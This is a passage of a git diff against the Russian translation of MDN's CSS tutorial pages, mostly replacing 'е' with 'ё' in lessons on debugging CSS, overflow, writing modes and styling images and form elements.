        @@ -94,9 +94,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS

        Решение проблем специфичности

        -

        Порой во время разработки, в частности когда вам нужно отредактировать CSS на существующем сайте вы, вы столкнетесь с трудностями применения некоторого CSS. Вне зависимости от того, что вы делаете, кажется, что элемент просто не реагирует на CSS. Что же обычно происходит в таких ситуациях - это то, что более специфичный селектор переопределяет ваши изменения и в таких случаях DevTools действительно поможет вам.

        +

        Порой во время разработки, в частности когда вам нужно отредактировать CSS на существующем сайте вы, вы столкнётесь с трудностями применения некоторого CSS. Вне зависимости от того, что вы делаете, кажется, что элемент просто не реагирует на CSS. Что же обычно происходит в таких ситуациях - это то, что более специфичный селектор переопределяет ваши изменения и в таких случаях DevTools действительно поможет вам.

        -

        В нашем примере два слова обернуты в элемент <em>. Один отображается оранжевым, а второй ярко-розовым. В CSS мы применили:

        +

        В нашем примере два слова обёрнуты в элемент <em>. Один отображается оранжевым, а второй ярко-розовым. В CSS мы применили:

        em {
   color: hotpink;
@@ -111,7 +111,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
 
 
        Как вы помните из урока каскад и наследование где мы обсуждали специфичность, селекторы классов являются более специфичными чем селекторы элементов, и поэтому это то значение которое применяется. DevTools может помочь вам найти такие проблемы, особенно если информация закопана где-то в дебрях огромной таблицы стилей.
        
 
-
        Проведите инспекцию <em> с классом .special и DevTools покажет вам что оранжевый это цвет который применяется, а также отобразит вам свойство color примененное к em зачеркнутым. Теперь вы можете видеть, что класс переопределяет селектор элемента. 
        
+
        Проведите инспекцию <em> с классом .special и DevTools покажет вам что оранжевый это цвет который применяется, а также отобразит вам свойство color применённое к em зачёркнутым. Теперь вы можете видеть, что класс переопределяет селектор элемента. 
        
 
 
        Selecting an em and looking at DevTools to see what is over-riding the color.
        
 
@@ -121,11 +121,11 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
 
 
        Отладка проблем в CSS
        
 
-
        DevTools может помочь при решении проблем CSS, итак, когда вы окажетесь в ситуации, где CSS ведет себя не так, как вы ожидаете, как же вам следует решать эту проблему? Следующие шаги должны помочь.
        
+
        DevTools может помочь при решении проблем CSS, итак, когда вы окажетесь в ситуации, где CSS ведёт себя не так, как вы ожидаете, как же вам следует решать эту проблему? Следующие шаги должны помочь.
        
 
 
        Сделайте шаг назад
        
 
-
        Любая проблема кодирования может быть неприятной, особенно проблемы CSS, потому что зачастую вы не получаете каких-либо сообщений об ошибках чтобы найти решение в интернете. Если вы начинаете разочаровываться оторвитесь от проблемы на время — прогуляйтесь, попейте, пообщайтесь с коллегами или займите себя чем-нибудь другим на время. Иногда решение появляется магическим образом, когда вы перестаете думать об этой проблеме, а даже если нет, работать над ней гораздо проще, когда вы чувствуете себя отдохнувшими.
        
+
        Любая проблема кодирования может быть неприятной, особенно проблемы CSS, потому что зачастую вы не получаете каких-либо сообщений об ошибках чтобы найти решение в интернете. Если вы начинаете разочаровываться оторвитесь от проблемы на время — прогуляйтесь, попейте, пообщайтесь с коллегами или займите себя чем-нибудь другим на время. Иногда решение появляется магическим образом, когда вы перестаёте думать об этой проблеме, а даже если нет, работать над ней гораздо проще, когда вы чувствуете себя отдохнувшими.
        
 
 
        Валидны ли ваши HTML и CSS?
        
 
@@ -138,7 +138,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
 
 
        Поддерживаются ли свойство и значение браузером в котором вы тестируете?
        
 
-
        Браузеры попросту игнорируют CSS который они не понимают. Если свойство или значение, которое вы используете не поддерживается браузером, в котором вы тестируете, то ничего не "сломается", кроме того, что тот CSS не будет применен. Обычно DevTools выделяет неподдерживаемые свойства и значения каким-либо образом. На скриншоте ниже браузер не поддерживает значение "подсветки" (subgrid) {{cssxref("grid-template-columns")}}.
        
+
        Браузеры попросту игнорируют CSS который они не понимают. Если свойство или значение, которое вы используете не поддерживается браузером, в котором вы тестируете, то ничего не "сломается", кроме того, что тот CSS не будет применён. Обычно DevTools выделяет неподдерживаемые свойства и значения каким-либо образом. На скриншоте ниже браузер не поддерживает значение "подсветки" (subgrid) {{cssxref("grid-template-columns")}}.
        
 
 
        Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported.
        
 
@@ -146,26 +146,26 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
 
 
        {{compat("css.shape-outside")}}
        
 
-
        Не переопределяется ли ваш CSS чем-нибудь еще?
        
+
        Не переопределяется ли ваш CSS чем-нибудь ещё?
        
 
-
        Это тот момент, когда изученная вами информация о специфичности придет вам на помощь. Если у вас имеется что-то более специфичное, что может переписывать то, что вы пытаетесь сделать, то вы можете вступить в очень расстраивающую игру пытаясь выяснить что же именно. Однако, как описано выше, DevTools покажет вам какой CSS применяется, и вы сможете решить, как сделать новый селектор достаточно специфичным чтобы переопределить его.
        
+
        Это тот момент, когда изученная вами информация о специфичности придёт вам на помощь. Если у вас имеется что-то более специфичное, что может переписывать то, что вы пытаетесь сделать, то вы можете вступить в очень расстраивающую игру пытаясь выяснить что же именно. Однако, как описано выше, DevTools покажет вам какой CSS применяется, и вы сможете решить, как сделать новый селектор достаточно специфичным чтобы переопределить его.
        
 
-
        Сделайте сокращенный контрольный пример проблемы
        
+
        Сделайте сокращённый контрольный пример проблемы
        
 
 
        Если проблема не решена шагами, описанными выше, тогда вам надо будет сделать своего рода расследование. Лучшее что можно сделать в этом случае это создать нечто известное как сокращенный контрольный пример. Возможность "уменьшить проблему" — действительно полезный навык. Он поможет вам найти проблемы как в вашем собственном коде, так в коде ваших коллег, а также позволит вам сообщать об ошибках и более эффективно обращаться за помощью.
        
 
-
        Сокращенный контрольный пример — это пример кода, который демонстрирует проблему самым простым способом с удалением несвязанного окружающего контента и стиля.  Это часто будет означать удаление проблемного кода из вашего макета (layout), чтобы сделать небольшой пример, который показывает только этот код или функцию.
        
+
        Сокращённый контрольный пример — это пример кода, который демонстрирует проблему самым простым способом с удалением несвязанного окружающего контента и стиля.  Это часто будет означать удаление проблемного кода из вашего макета (layout), чтобы сделать небольшой пример, который показывает только этот код или функцию.
        
 
-
        Создание сокращенного контрольного примера:
        
+
        Создание сокращённого контрольного примера:
        
 
 
          
- 
        1. Если ваша разметка генерируется динамически — например через CMS — сделайте статичную версию вывода, которая показывает проблему. Сайты обмена кодами как CodePen являются полезными для размещения сокращенных контрольных примеров, так как они доступны онлайн, и вы легко можете поделиться с коллегами. Вы можете начать просматривать страницу во View Source и скопировать HTML в CodePen, затем взять релевантный CSS и JavaScript и включить их тоже. После этого вы можете проверить очевидна ли проблема.
          2. 
+ 
        2. Если ваша разметка генерируется динамически — например через CMS — сделайте статичную версию вывода, которая показывает проблему. Сайты обмена кодами как CodePen являются полезными для размещения сокращённых контрольных примеров, так как они доступны онлайн, и вы легко можете поделиться с коллегами. Вы можете начать просматривать страницу во View Source и скопировать HTML в CodePen, затем взять релевантный CSS и JavaScript и включить их тоже. После этого вы можете проверить очевидна ли проблема.
          3. 
  
        3. Если удаление JavaScript не устраняет проблему, то не включайте JavaScript. Если же удаление JavaScript устраняет проблему, тогда удалите столько JavaScript, сколько сможете, оставляя все что вызывает проблему.
          4. 
- 
        4. Удалите весь HTML который не влияет на проблему. Удалите компоненты или даже главные элементы макета. Опять же постарайтесь добиться наименьшего количества кода, который все еще показывает проблему.
          5. 
+ 
        5. Удалите весь HTML который не влияет на проблему. Удалите компоненты или даже главные элементы макета. Опять же постарайтесь добиться наименьшего количества кода, который все ещё показывает проблему.
          6. 
  
        6. Удалите весь CSS который не влияет на проблему.
          7. 
 
        
 
-
        В процессе вы можете обнаружить что причиняет проблему или, хотя бы, сможете включать или выключать ее путем удаления чего-то конкретного. Стоит добавлять какие-то комментарии к вашему коду по ходу изучения вещей. Если вам надо попросить помощи, то они покажут человеку, помогающему вам что вы уже пытались сделать. Это может дать вам достаточно информации для поиска возможных проблем и обходных путей.
        
+
        В процессе вы можете обнаружить что причиняет проблему или, хотя бы, сможете включать или выключать её путём удаления чего-то конкретного. Стоит добавлять какие-то комментарии к вашему коду по ходу изучения вещей. Если вам надо попросить помощи, то они покажут человеку, помогающему вам что вы уже пытались сделать. Это может дать вам достаточно информации для поиска возможных проблем и обходных путей.
        
 
 
        If you are still struggling to fix the problem then having a reduced test case gives you something to ask for help with, by posting to a forum, or showing to a co-worker. You are much more likely to get help if you can show that you have done the work of reducing the problem and identifying exactly where it happens, before asking for help. A more experienced developer might be able to quickly spot the problem and point you in the right direction, and even if not, your reduced test case will enable them to have a quick look and hopefully be able to offer at least some help.
        
 
diff --git a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
index 2e47ff1cdf..eb4a2d4b0f 100644
--- a/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
+++ b/files/ru/learn/css/building_blocks/fundamental_css_comprehension/index.html
@@ -28,7 +28,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
 
        Чтобы начать проверку, вы должны:
        
 
 
          
- 
        • Перейти и скачать HTML файл для упражнения и связанный файл изображения, сохранить их в новую директорию на локальном компьютере. Если вы хотите использовать свой собственный файл изображения и вписать свое имя, то пожалуйста — только убедитесь, что изображение квадратное.
          • 
+ 
        • Перейти и скачать HTML файл для упражнения и связанный файл изображения, сохранить их в новую директорию на локальном компьютере. Если вы хотите использовать свой собственный файл изображения и вписать своё имя, то пожалуйста — только убедитесь, что изображение квадратное.
          • 
  
        • Скачайте текстовый файл с исходным CSS —  в нем содержится набор исходных селекторов и наборов правил, которые вы должны изучить и объединить, чтобы пройти часть этой проверки.
          • 
 
        
 
@@ -46,7 +46,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
  
      • Прежде всего, создайте новый файл в той же директории, что и ваши HTML и файл изображения. Назовите его как-нибудь образно, например style.css.
        • 
  
      • Подключите ваш CSS к вашему файлу HTML с помощью элемента <link>.
        • 
  
      • Первые два набора правил в исходном файле CSS ваши бесплатно! После того, как вы закончите радоваться своей удаче, скопируйте и вставьте их в верхнюю часть вашего нового файла CSS. Используйте их в качестве теста, чтобы убедиться, что ваш CSS правильно применяется к HTML.
        • 
- 
      • Над этими двумя правилами добавьте CSS-комментарий, что это набор общих стилей для всей страницы. "Общие стили страницы" подойдут. Также добавьте еще три комментария в нижней части CSS-файла, чтобы отметить стили, соответствующие для настройки контейнера карты, стили, соответствующие для верхнего и нижнего колонтитулов, а также стили, соответствующие для основного содержимого визитной карточки. Отныне новые стили, добавленные в таблицу стилей, должны быть размещены в соответствующем месте.
        • 
+ 
      • Над этими двумя правилами добавьте CSS-комментарий, что это набор общих стилей для всей страницы. "Общие стили страницы" подойдут. Также добавьте ещё три комментария в нижней части CSS-файла, чтобы отметить стили, соответствующие для настройки контейнера карты, стили, соответствующие для верхнего и нижнего колонтитулов, а также стили, соответствующие для основного содержимого визитной карточки. Отныне новые стили, добавленные в таблицу стилей, должны быть размещены в соответствующем месте.
        • 
 
 
 
        Позаботимся о селекторах и наборах правил, предоставленных в файле CSS:
        
@@ -55,9 +55,9 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
  
      • Далее мы хотели бы, чтобы вы посмотрели на четыре селектора и рассчитали специфичность для каждого из них. Запишите их где-нибудь, где они могут быть найдены позже, например, в комментарии в верхней части CSS.
        • 
  
      • Теперь пришло время сопоставить правильный селектор и правильный набор правил! У вас есть четыре пары селекторов и набора правил для сопоставления в ваших ресурсах CSS. Сделайте это сейчас и добавьте их в файл CSS. Вам нужно сделать:
   
          
-   
        • Задайте основному контейнеру карты фиксированную ширину/высоту, сплошной цвет фона, границу и радиус границы (закругленные углы!), помимо прочего.
          • 
-   
        • Задайте заголовку градиент фона, который идет от темного к светлому, плюс закругленные углы, которые вписываются в закругленные углы, заданные для главного контейнера карты.
          • 
-   
        • Задайте для футера градиент фона, переходящий от светлого к темному, а также скругленные углы, которые вписываются в скругленные углы контейнера основной карты.
          • 
+   
        • Задайте основному контейнеру карты фиксированную ширину/высоту, сплошной цвет фона, границу и радиус границы (закруглённые углы!), помимо прочего.
          • 
+   
        • Задайте заголовку градиент фона, который идёт от тёмного к светлому, плюс закруглённые углы, которые вписываются в закруглённые углы, заданные для главного контейнера карты.
          • 
+   
        • Задайте для футера градиент фона, переходящий от светлого к тёмному, а также скруглённые углы, которые вписываются в скруглённые углы контейнера основной карты.
          • 
    
        • Сместите изображение вправо, чтобы оно прилипло к правой стороне основного содержимого визитной карточки, и придайте ему максимальную высоту 100% (хитрый трюк, который гарантирует, что он будет растягиваться/сжиматься, чтобы оставаться на той же высоте, что и его родительский контейнер, независимо от того, какой высоты он становится).
          • 
   
        
  
        • 
@@ -69,14 +69,14 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
 
          
  
        • Напишите набор правил, предназначенный как для заголовка, так и для футера карты, задавая им вычисленную общую высоту 50 пикселей (включая высоту содержимого 30 пикселей и внутренние отступы (padding) 10 пикселей со всех сторон.) Но выразите это в ems.
          • 
  
        • margin по умолчанию, применяемый браузером к элементам <h2> и <p>, будет мешать нашему дизайну, поэтому напишите правило, которое устанавливает этот параметр для указанных элементов равным 0.
          • 
- 
        • Чтобы изображение не вылезало за пределы основного содержимого визитки (элемент <article>), нужно задать ему определенную высоту. Установите высоту <article> в 120px, но выраженную в ems. Также задайте ему полупрозрачный черный цвет фона, в результате получится чуть более темный оттенок, который позволяет цвету фона немного просвечивать красным цветом.
          • 
- 
        • Напишите набор правил, который задает тегу <h2> удобный размер шрифта 20px (но выраженный в ems) и соответствующую высоту строки, чтобы поместить ее в центр поля содержимого заголовка. Напомним, что высота окна содержимого (content box) должна быть 30px — это дает вам все числа, необходимые для вычисления высоты строки.
          • 
- 
        • Напишите набор правил, который задает тегу <p> внутри нижнего колонтитула удобный размер шрифта 15px (но выраженный в ems) и соответствующую высоту строки, чтобы поместить его в центр окна содержимого нижнего колонтитула. Напомним, что высота окна содержимого должна быть 30px — это дает вам все числа, необходимые для вычисления высоты строки.
          • 
+ 
        • Чтобы изображение не вылезало за пределы основного содержимого визитки (элемент <article>), нужно задать ему определённую высоту. Установите высоту <article> в 120px, но выраженную в ems. Также задайте ему полупрозрачный чёрный цвет фона, в результате получится чуть более тёмный оттенок, который позволяет цвету фона немного просвечивать красным цветом.
          • 
+ 
        • Напишите набор правил, который задаёт тегу <h2> удобный размер шрифта 20px (но выраженный в ems) и соответствующую высоту строки, чтобы поместить её в центр поля содержимого заголовка. Напомним, что высота окна содержимого (content box) должна быть 30px — это даёт вам все числа, необходимые для вычисления высоты строки.
          • 
+ 
        • Напишите набор правил, который задаёт тегу <p> внутри нижнего колонтитула удобный размер шрифта 15px (но выраженный в ems) и соответствующую высоту строки, чтобы поместить его в центр окна содержимого нижнего колонтитула. Напомним, что высота окна содержимого должна быть 30px — это даёт вам все числа, необходимые для вычисления высоты строки.
          • 
  
        • В качестве последнего штриха задайте параграфу внутри <article> соответствующее значение отступа (padding), чтобы его левый край выровнялся с тегом <h2> и нижним параграфом, и установите его цвет достаточно светлым, чтобы его было легко читать.
          • 
 
        
 
 
        
-
        Примечание: Имейте в виду, что второй набор правил устанавливает font-size: 10px; для элемента<html> — это означает, что для любых потомков <html> em будет равен 10px, а не 16px, как это задано по умолчанию. (Это, конечно, при условии, что у потомков, о которых идет речь, нет предков, находящихся в иерархии между ними и <html>, на которых установлен другой размер шрифта. Это может повлиять на необходимые значения, хотя в этом простом примере это не проблема).
        
+
        Примечание: Имейте в виду, что второй набор правил устанавливает font-size: 10px; для элемента<html> — это означает, что для любых потомков <html> em будет равен 10px, а не 16px, как это задано по умолчанию. (Это, конечно, при условии, что у потомков, о которых идёт речь, нет предков, находящихся в иерархии между ними и <html>, на которых установлен другой размер шрифта. Это может повлиять на необходимые значения, хотя в этом простом примере это не проблема).
        
 
        
 
 
        Другие вещи для размышления:
        
@@ -90,7 +90,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
 
 
          
  
        • Вам не нужно каким-либо образом редактировать HTML, за исключением подключения к нему CSS.
          • 
- 
        • При попытке определить значение em вам нужно представить определенную величину в пикселях. Подумайте о том, какой размер базового шрифта имеет корневой элемент (<html>), и на сколько его нужно умножить, чтобы получить желаемое значение. Это даст вам значение em, по крайней мере, в таком простом случае как этот.
          • 
+ 
        • При попытке определить значение em вам нужно представить определённую величину в пикселях. Подумайте о том, какой размер базового шрифта имеет корневой элемент (<html>), и на сколько его нужно умножить, чтобы получить желаемое значение. Это даст вам значение em, по крайней мере, в таком простом случае как этот.
          • 
 
        
 
 
        Образец
        
@@ -101,7 +101,7 @@ original_slug: Learn/CSS/Introduction_to_CSS/Ponimanie_osnov_CSS
 
 
        Проверка
        
 
-
        Если вы проходите эту проверку в рамках организованного курса, у вас должна быть возможность отдать свою работу своему учителю/наставнику для оценки. Если вы самообучаетесь, то вы можете получить руководство по оценке достаточно простым путем: спросив в теме обсуждения об этом упражнении, или в канале #mdn IRC на Mozilla IRC. Но сначала попробуйте выполнить упражнение — вы ничего не выиграете путем обмана!
        
+
        Если вы проходите эту проверку в рамках организованного курса, у вас должна быть возможность отдать свою работу своему учителю/наставнику для оценки. Если вы самообучаетесь, то вы можете получить руководство по оценке достаточно простым путём: спросив в теме обсуждения об этом упражнении, или в канале #mdn IRC на Mozilla IRC. Но сначала попробуйте выполнить упражнение — вы ничего не выиграете путём обмана!
        
 
 
        {{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}
        
 
diff --git a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
index f572aa9758..ee3148f113 100644
--- a/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
+++ b/files/ru/learn/css/building_blocks/handling_different_text_directions/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
 ---
 
        {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
        
 
-
        Многие свойства и значения, с которыми мы столкнулись до сих пор при изучении CSS, были привязаны к физическим размерам нашего экрана. Мы создаем границы, например, сверху, справа, снизу и слева от коробки.Эти физические размеры очень точно соответствуют контенту, который просматривается по горизонтали, и по умолчанию Интернет имеет тенденцию поддерживать языки с письмом слева направо (например, английский или французский) лучше, чем языки с письмом справа налево (например, арабский).
        
+
        Многие свойства и значения, с которыми мы столкнулись до сих пор при изучении CSS, были привязаны к физическим размерам нашего экрана. Мы создаём границы, например, сверху, справа, снизу и слева от коробки.Эти физические размеры очень точно соответствуют контенту, который просматривается по горизонтали, и по умолчанию Интернет имеет тенденцию поддерживать языки с письмом слева направо (например, английский или французский) лучше, чем языки с письмом справа налево (например, арабский).
        
 
 
        Однако в последние годы CSS развивался чтобы лучше поддерживать разную направленность контента, включая контент с направлением справа налево, а также контент сверху вниз (например, в японском языке) - эти разные направления называются режимами письма. По мере того, как вы продвигаетесь в обучении и начинаете работать с макетом, понимание режимов письма будет вам очень полезно, поэтому мы сейчас и познакомимся с ними.
        
 
@@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions
 
 
        Какие бывают режимы письма?
        
 
-
        Режим письма в CSS определяет, идет ли текст по горизонтали или по вертикали. Свойство {{cssxref ("writing-mode")}} позволяет нам переключаться из одного режима письма в другой. Для этого вам не обязательно работать на языке, который использует режим вертикального письма - вы также можете изменить режим письма частей вашего макета для творческих целей.
        
+
        Режим письма в CSS определяет, идёт ли текст по горизонтали или по вертикали. Свойство {{cssxref ("writing-mode")}} позволяет нам переключаться из одного режима письма в другой. Для этого вам не обязательно работать на языке, который использует режим вертикального письма - вы также можете изменить режим письма частей вашего макета для творческих целей.
        
 
-
        В приведенном ниже примере заголовок отображается с использованием writing-mode: vertical-rl. Теперь текст идет вертикально. Вертикальный текст часто используется в графическом дизайне и может быть способом добавить более интересный вид вашему веб-дизайну.
        
+
        В приведённом ниже примере заголовок отображается с использованием writing-mode: vertical-rl. Теперь текст идёт вертикально. Вертикальный текст часто используется в графическом дизайне и может быть способом добавить более интересный вид вашему веб-дизайну.
        
 
 
        {{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}
        
 
diff --git a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
index 21896e3f92..e8ee1914ce 100644
--- a/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
+++ b/files/ru/learn/css/building_blocks/images_media_form_elements/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
 ---
 
        {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks")}}
        
 
-
        В этом уроке мы рассмотрим, как обрабатываются определенные специальные элементы в CSS. Элементы изображений, других медиа и форм ведут себя иначе при их стилизации в CSS чем обычные блоки. Понимание того, что возможно, а что нет спасут вас от лишних разочарований и этот урок прольет свет на некоторые из этих основных вещей, которые вам нужно знать.
        
+
        В этом уроке мы рассмотрим, как обрабатываются определённые специальные элементы в CSS. Элементы изображений, других медиа и форм ведут себя иначе при их стилизации в CSS чем обычные блоки. Понимание того, что возможно, а что нет спасут вас от лишних разочарований и этот урок прольёт свет на некоторые из этих основных вещей, которые вам нужно знать.
        @@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements

        Размер изображений (калибровка)

        -

        Как вы уже знаете из этих уроков, всё в CSS генерирует блоки. Если вы поместите файл изображения внутрь блока, который больше или меньше исходного размера файла изображения в обоих направлениях, то он отобразиться либо в меньшем размере чем блок, либо перекроет его. Вам нужно принять решение с тем, что произойдет с перекрытием.

        +

        Как вы уже знаете из этих уроков, всё в CSS генерирует блоки. Если вы поместите файл изображения внутрь блока, который больше или меньше исходного размера файла изображения в обоих направлениях, то он отобразиться либо в меньшем размере чем блок, либо перекроет его. Вам нужно принять решение с тем, что произойдёт с перекрытием.

        В примере ниже у нас два блока, оба имеют размер по 200px:

        @@ -41,7 +41,7 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements

        Так что же мы можем сделать с проблемой перекрывания?

        -

        Как мы учили в нашем предыдущем уроке, распространенная техника — это сделать {{cssxref("max-width")}} изображения - 100%. Это позволит уменьшить размер изображения по отношению к блоку, но не увеличит его. Такой метод будет работать и с другими замещаемыми элементами такими как <video> или <iframe>.

        +

        Как мы учили в нашем предыдущем уроке, распространённая техника — это сделать {{cssxref("max-width")}} изображения - 100%. Это позволит уменьшить размер изображения по отношению к блоку, но не увеличит его. Такой метод будет работать и с другими замещаемыми элементами такими как <video> или <iframe>.

        Попробуйте добавить max-width: 100% к элементу <img> в примере выше. Вы увидите, что меньшее изображение останется неизмененным, а большее изображение станет меньше, чтобы заполнить блок.

        @@ -53,19 +53,19 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements

        {{EmbedGHLiveSample("css-examples/learn/images/object-fit.html", '100%', 1000)}}

        -

        Если мы используем contain в качестве значения, изображение будет уменьшаться до тех пор, пока не станет достаточно маленьким чтобы заполнить блок. Это приведет к "почтовой упаковке", если оно не будет иметь такого же соотношения сторон, как блок.

        +

        Если мы используем contain в качестве значения, изображение будет уменьшаться до тех пор, пока не станет достаточно маленьким чтобы заполнить блок. Это приведёт к "почтовой упаковке", если оно не будет иметь такого же соотношения сторон, как блок.

        Вы также можете попробовать значение fill, которое будет заполнять блок, но при этом не сохранять соотношение сторон.

        -

        Замещаемые элементы в верстке

        +

        Замещаемые элементы в вёрстке

        -

        При использовании различных методов верстки CSS на замещаемых элементах, вы можете обнаружить, что они ведут себя немного иначе, чем другие элементы. Например, во flex или grid layout элементы растягиваются по умолчанию чтобы заполнить всю площадь. Изображения растягиваться не будут, вместо этого они будут выравнены на начало площади flex- или grig-контейнера.

        +

        При использовании различных методов вёрстки CSS на замещаемых элементах, вы можете обнаружить, что они ведут себя немного иначе, чем другие элементы. Например, во flex или grid layout элементы растягиваются по умолчанию чтобы заполнить всю площадь. Изображения растягиваться не будут, вместо этого они будут выравнены на начало площади flex- или grig-контейнера.

        Вы можете увидеть, как это происходит в примере ниже, где мы имеем grid-контейнер из двух столбцов и двух строк, который содержит 4 объекта. Все <div> элементы имеют цвет фона и растягиваются чтобы заполнить строки и столбцы. Однако, изображение не растягивается.

        {{EmbedGHLiveSample("css-examples/learn/images/layout.html", '100%', 1000)}}

        -

        Если вы изучаете эти уроки по порядку, тогда вы, возможно, еще не рассматривали layout. Просто держите в уме, что замещаемые элементы, становясь частью grid- или flex-разметки, ведут себя иначе по умолчанию, главным образом, чтобы избежать их странного растяжения по разметке.

        +

        Если вы изучаете эти уроки по порядку, тогда вы, возможно, ещё не рассматривали layout. Просто держите в уме, что замещаемые элементы, становясь частью grid- или flex-разметки, ведут себя иначе по умолчанию, главным образом, чтобы избежать их странного растяжения по разметке.

        Для того чтобы заставить изображение растянуться чтобы заполнить grid-ячейку, вы должны сделать что-то наподобие следующего:

        @@ -93,14 +93,14 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements

        {{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}

        -

        Важно: При изменении стиля элементов формы следует соблюдать осторожность, чтобы убедиться, что для пользователя все еще очевидно, что они являются элементами форм. Вы можете создать форму ввода без границ и фона, которая практически неотличима от окружающего контента и это может сделать очень сложно распознаваемой, чтобы заполнить ее.

        +

        Важно: При изменении стиля элементов формы следует соблюдать осторожность, чтобы убедиться, что для пользователя все ещё очевидно, что они являются элементами форм. Вы можете создать форму ввода без границ и фона, которая практически неотличима от окружающего контента и это может сделать очень сложно распознаваемой, чтобы заполнить ее.

        Как объяснено в уроке стилизация форм в части HTML этого курса, многие из более сложных типов ввода определяются операционной системой и не доступны для стилизации. Поэтому вы всегда должны предполагать, что формы будут выглядеть по-разному для разных пользователей и тестировать сложные формы во многих браузерах.

        Наследование и элементы форм

        -

        В некоторых браузерах, элементы форм не наследуют стиль шрифтов по умолчанию. Поэтому если вы хотите быть уверенными что ваши поля форм используют шрифт определенный в body или родительском элементе, вы должны добавить это правило в ваш CSS.

        +

        В некоторых браузерах, элементы форм не наследуют стиль шрифтов по умолчанию. Поэтому если вы хотите быть уверенными что ваши поля форм используют шрифт определённый в body или родительском элементе, вы должны добавить это правило в ваш CSS.

        button,
 input,
@@ -135,7 +135,7 @@ textarea {
 
 
        Собираем все вместе в "перезагрузку"
        
 
-
        В качестве последнего шага, мы можем обернуть различные свойства, обсуждаемые выше, в следующую «форму перезагрузки», чтобы обеспечить согласованную основу для работы. Это включает все элементы упомянутые в последних трех разделах:
        
+
        В качестве последнего шага, мы можем обернуть различные свойства, обсуждаемые выше, в следующую «форму перезагрузки», чтобы обеспечить согласованную основу для работы. Это включает все элементы упомянутые в последних трёх разделах:
        
 
 
        button,
 input,
diff --git a/files/ru/learn/css/building_blocks/overflowing_content/index.html b/files/ru/learn/css/building_blocks/overflowing_content/index.html
index 919bed3501..72bcc84f37 100644
--- a/files/ru/learn/css/building_blocks/overflowing_content/index.html
+++ b/files/ru/learn/css/building_blocks/overflowing_content/index.html
@@ -22,11 +22,11 @@ translation_of: Learn/CSS/Building_blocks/Overflowing_content
 
 
        Что такое overflow?
        
 
-
        Мы уже знаем что все в  CSS - блоки, и что мы можем ограничивать размер этих блоков присваивая им определенное значение посредством {{cssxref("width")}} и {{cssxref("height")}} (или {{cssxref("inline-size")}} и {{cssxref("block-size")}}). Overflow это то что случается, когда у вас слишком много контента в блоке, так что он не помещается в данный ограниченный блок. CSS дает нам различные инструменты для управления этим overflow, и это также полезная концепция для понимания на этой ранней стадии. Вы будете встречаться с overflow достаточно часто когда пишите CSS, особенно когда глубже погрузитесь в CSS макет.
        
+
        Мы уже знаем что все в  CSS - блоки, и что мы можем ограничивать размер этих блоков присваивая им определённое значение посредством {{cssxref("width")}} и {{cssxref("height")}} (или {{cssxref("inline-size")}} и {{cssxref("block-size")}}). Overflow это то что случается, когда у вас слишком много контента в блоке, так что он не помещается в данный ограниченный блок. CSS даёт нам различные инструменты для управления этим overflow, и это также полезная концепция для понимания на этой ранней стадии. Вы будете встречаться с overflow достаточно часто когда пишите CSS, особенно когда глубже погрузитесь в CSS макет.
        
 
 
        CSS пытается избежать "потери данных"
        
 
-
        Давайте начнем с рассмотрения двух примеров, которые демонстрируют как CSS ведет себя когда у вас overflow.
        
+
        Давайте начнём с рассмотрения двух примеров, которые демонстрируют как CSS ведёт себя когда у вас overflow.
        
 
 
        The first is a box that has been restricted in the block dimension by giving it a height. We have then added more content than there is space for in this box. The content is overflowing the box and laying itself rather messily over the paragraph below the box.
        
 
diff --git a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
index de2d540a59..4051be5c83 100644
--- a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
+++ b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
@@ -12,7 +12,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Attribute_selectors
 ---
 
        {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}
        
 
-
